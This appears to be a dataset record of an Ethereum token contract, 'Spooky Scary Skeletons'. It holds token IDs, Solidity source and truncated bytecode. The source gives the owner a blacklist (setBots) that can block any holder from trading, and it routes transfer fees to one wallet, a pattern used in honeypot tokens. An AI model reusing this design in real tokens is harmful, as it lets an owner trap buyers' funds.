[ 101, 1014, 2595, 2683, 2575, 2546, 2581, 2683, 14526, 26337, 2278, 23499, 2575, 9468, 11306, 2278, 2620, 26337, 26337, 19961, 2063, 2575, 11387, 2497, 28756, 2629, 2050, 24594, 2497, 2620, 2546, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 12943, 24759, 1011, 1017, 1012, 1014, 1011, 2069, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 2184, 1025, 1013, 1013, 1013, 1030, 5060, 2715, 1998, 3806, 8114, 9413, 2278, 11387, 1009, 1041, 11514, 1011, 24441, 2475, 7375, 1012, 1013, 1013, 1013, 1030, 3166, 14017, 8585, 1006, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 10958, 3089, 1011, 3007, 1013, 14017, 8585, 1013, 1038, 4135, 2497, 1013, 2364, 1013, 5034, 2278, 1013, 19204, 2015, 1013, 9413, 2278, 11387, 1012, 14017, 1007, 1013, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,545
0x96f842d1c3f27b907b6d0c105619d92c14f29166
// tgram : https://t.me/SpookyScarySkeletonsERC // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract SpookyScary is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1 * 10**12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Spooky Scary Skeletons"; string private constant _symbol = "SSS"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x369219cb47b47e4a1141E261D5dc02b29BAcdF5c); _feeAddrWallet2 = payable(0x369219cb47b47e4a1141E261D5dc02b29BAcdF5c); _rOwned[address(this)] = _rTotal.div(2); _rOwned[0x000000000000000000000000000000000000dEaD] = _rTotal.div(2); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0),address(this),_tTotal.div(2)); emit Transfer(address(0),address(0x000000000000000000000000000000000000dEaD),_tTotal.div(2)); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 1; _feeAddr2 = 8; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 1; _feeAddr2 = 8; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb1461031c578063b515566a14610359578063c3c8cd8014610382578063c9567bf914610399578063dd62ed3e146103b057610109565b806370a0823114610272578063715018a6146102af5780638da5cb5b146102c657806395d89b41146102f157610109565b8063273123b7116100d1578063273123b7146101de578063313ce567146102075780635932ead1146102325780636fc3eaec1461025b57610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103ed565b6040516101309190612a71565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b91906125eb565b61042a565b60405161016d9190612a56565b60405180910390f35b34801561018257600080fd5b5061018b610448565b6040516101989190612bd3565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612598565b610459565b6040516101d59190612a56565b60405180910390f35b3480156101ea57600080fd5b50610205600480360381019061020091906124fe565b610532565b005b34801561021357600080fd5b5061021c610622565b6040516102299190612c48565b60405180910390f35b34801561023e57600080fd5b5061025960048036038101906102549190612674565b61062b565b005b34801561026757600080fd5b506102706106dd565b005b34801561027e57600080fd5b50610299600480360381019061029491906124fe565b61074f565b6040516102a69190612bd3565b60405180910390f35b3480156102bb57600080fd5b506102c46107a0565b005b3480156102d257600080fd5b506102db6108f3565b6040516102e89190612988565b60405180910390f35b3480156102fd57600080fd5b5061030661091c565b6040516103139190612a71565b60405180910390f35b34801561032857600080fd5b50610343600480360381019061033e91906125eb565b610959565b6040516103509190612a56565b60405180910390f35b34801561036557600080fd5b50610380600480360381019061037b919061262b565b610977565b005b34801561038e57600080fd5b50610397610aa1565b005b3480156103a557600080fd5b506103ae610b1b565b005b3480156103bc57600080fd5b506103d760048036038101906103d29190612558565b611078565b6040516103e49190612bd3565b60405180910390f35b60606040518060400160405280601681526020017f53706f6f6b7920536361727920536b656c65746f6e7300000000000000000000815250905090565b600061043e610437611149565b8484611151565b6001905092915050565b6000683635c9adc5dea00000905090565b600061046684848461131c565b61052784610472611149565b610522856040518060600160405280602881526020016132fd60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104d8611149565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119219092919063ffffffff16565b611151565b600190509392505050565b61053a611149565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105be90612b33565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610633611149565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b790612b33565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661071e611149565b73ffffffffffffffffffffffffffffffffffffffff161461073e57600080fd5b600047905061074c81611985565b50565b6000610799600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a80565b9050919050565b6107a8611149565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610835576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082c90612b33565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f5353530000000000000000000000000000000000000000000000000000000000815250905090565b600061096d610966611149565b848461131c565b6001905092915050565b61097f611149565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0390612b33565b60405180910390fd5b60005b8151811015610a9d57600160066000848481518110610a3157610a30612f90565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610a9590612ee9565b915050610a0f565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ae2611149565b73ffffffffffffffffffffffffffffffffffffffff1614610b0257600080fd5b6000610b0d3061074f565b9050610b1881611aee565b50565b610b23611149565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba790612b33565b60405180910390fd5b600f60149054906101000a900460ff1615610c00576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf790612bb3565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c9030600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611151565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cd657600080fd5b505afa158015610cea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d0e919061252b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d7057600080fd5b505afa158015610d84573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610da8919061252b565b6040518363ffffffff1660e01b8152600401610dc59291906129a3565b602060405180830381600087803b158015610ddf57600080fd5b505af1158015610df3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e17919061252b565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ea03061074f565b600080610eab6108f3565b426040518863ffffffff1660e01b8152600401610ecd969594939291906129f5565b6060604051808303818588803b158015610ee657600080fd5b505af1158015610efa573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f1f91906126ce565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506802b5e3af16b18800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016110229291906129cc565b602060405180830381600087803b15801561103c57600080fd5b505af1158015611050573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107491906126a1565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600061114183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611d76565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b890612b93565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611231576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122890612ad3565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161130f9190612bd3565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561138c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138390612b73565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f390612a93565b60405180910390fd5b6000811161143f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143690612b53565b60405180910390fd5b6001600a819055506008600b819055506114576108f3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156114c557506114956108f3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561191157600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561156e5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61157757600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156116225750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116785750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156116905750600f60179054906101000a900460ff165b15611740576010548111156116a457600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106116ef57600080fd5b601e426116fc9190612d09565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156117eb5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156118415750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611857576001600a819055506008600b819055505b60006118623061074f565b9050600f60159054906101000a900460ff161580156118cf5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156118e75750600f60169054906101000a900460ff165b1561190f576118f581611aee565b6000479050600081111561190d5761190c47611985565b5b505b505b61191c838383611dd9565b505050565b6000838311158290611969576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119609190612a71565b60405180910390fd5b50600083856119789190612dea565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6119d56002846110ff90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611a00573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a516002846110ff90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611a7c573d6000803e3d6000fd5b5050565b6000600854821115611ac7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611abe90612ab3565b60405180910390fd5b6000611ad1611de9565b9050611ae681846110ff90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611b2657611b25612fbf565b5b604051908082528060200260200182016040528015611b545781602001602082028036833780820191505090505b5090503081600081518110611b6c57611b6b612f90565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611c0e57600080fd5b505afa158015611c22573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c46919061252b565b81600181518110611c5a57611c59612f90565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611cc130600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611151565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611d25959493929190612bee565b600060405180830381600087803b158015611d3f57600080fd5b505af1158015611d53573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083118290611dbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611db49190612a71565b60405180910390fd5b5060008385611dcc9190612d5f565b9050809150509392505050565b611de4838383611e14565b505050565b6000806000611df6611fdf565b91509150611e0d81836110ff90919063ffffffff16565b9250505090565b600080600080600080611e2687612041565b955095509550955095509550611e8486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120a990919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f1985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120f390919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f6581612151565b611f6f848361220e565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611fcc9190612bd3565b60405180910390a3505050505050505050565b600080600060085490506000683635c9adc5dea000009050612015683635c9adc5dea000006008546110ff90919063ffffffff16565b82101561203457600854683635c9adc5dea0000093509350505061203d565b81819350935050505b9091565b600080600080600080600080600061205e8a600a54600b54612248565b925092509250600061206e611de9565b905060008060006120818e8787876122de565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006120eb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611921565b905092915050565b60008082846121029190612d09565b905083811015612147576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161213e90612af3565b60405180910390fd5b8091505092915050565b600061215b611de9565b90506000612172828461236790919063ffffffff16565b90506121c681600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120f390919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612223826008546120a990919063ffffffff16565b60088190555061223e816009546120f390919063ffffffff16565b6009819055505050565b6000806000806122746064612266888a61236790919063ffffffff16565b6110ff90919063ffffffff16565b9050600061229e6064612290888b61236790919063ffffffff16565b6110ff90919063ffffffff16565b905060006122c7826122b9858c6120a990919063ffffffff16565b6120a990919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806122f7858961236790919063ffffffff16565b9050600061230e868961236790919063ffffffff16565b90506000612325878961236790919063ffffffff16565b9050600061234e8261234085876120a990919063ffffffff16565b6120a990919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561237a57600090506123dc565b600082846123889190612d90565b90508284826123979190612d5f565b146123d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123ce90612b13565b60405180910390fd5b809150505b92915050565b60006123f56123f084612c88565b612c63565b9050808382526020820190508285602086028201111561241857612417612ff3565b5b60005b85811015612448578161242e8882612452565b84526020840193506020830192505060018101905061241b565b5050509392505050565b600081359050612461816132b7565b92915050565b600081519050612476816132b7565b92915050565b600082601f83011261249157612490612fee565b5b81356124a18482602086016123e2565b91505092915050565b6000813590506124b9816132ce565b92915050565b6000815190506124ce816132ce565b92915050565b6000813590506124e3816132e5565b92915050565b6000815190506124f8816132e5565b92915050565b60006020828403121561251457612513612ffd565b5b600061252284828501612452565b91505092915050565b60006020828403121561254157612540612ffd565b5b600061254f84828501612467565b91505092915050565b6000806040838503121561256f5761256e612ffd565b5b600061257d85828601612452565b925050602061258e85828601612452565b9150509250929050565b6000806000606084860312156125b1576125b0612ffd565b5b60006125bf86828701612452565b93505060206125d086828701612452565b92505060406125e1868287016124d4565b9150509250925092565b6000806040838503121561260257612601612ffd565b5b600061261085828601612452565b9250506020612621858286016124d4565b9150509250929050565b60006020828403121561264157612640612ffd565b5b600082013567ffffffffffffffff81111561265f5761265e612ff8565b5b61266b8482850161247c565b91505092915050565b60006020828403121561268a57612689612ffd565b5b6000612698848285016124aa565b91505092915050565b6000602082840312156126b7576126b6612ffd565b5b60006126c5848285016124bf565b91505092915050565b6000806000606084860312156126e7576126e6612ffd565b5b60006126f5868287016124e9565b9350506020612706868287016124e9565b9250506040612717868287016124e9565b9150509250925092565b600061272d8383612739565b60208301905092915050565b61274281612e1e565b82525050565b61275181612e1e565b82525050565b600061276282612cc4565b61276c8185612ce7565b935061277783612cb4565b8060005b838110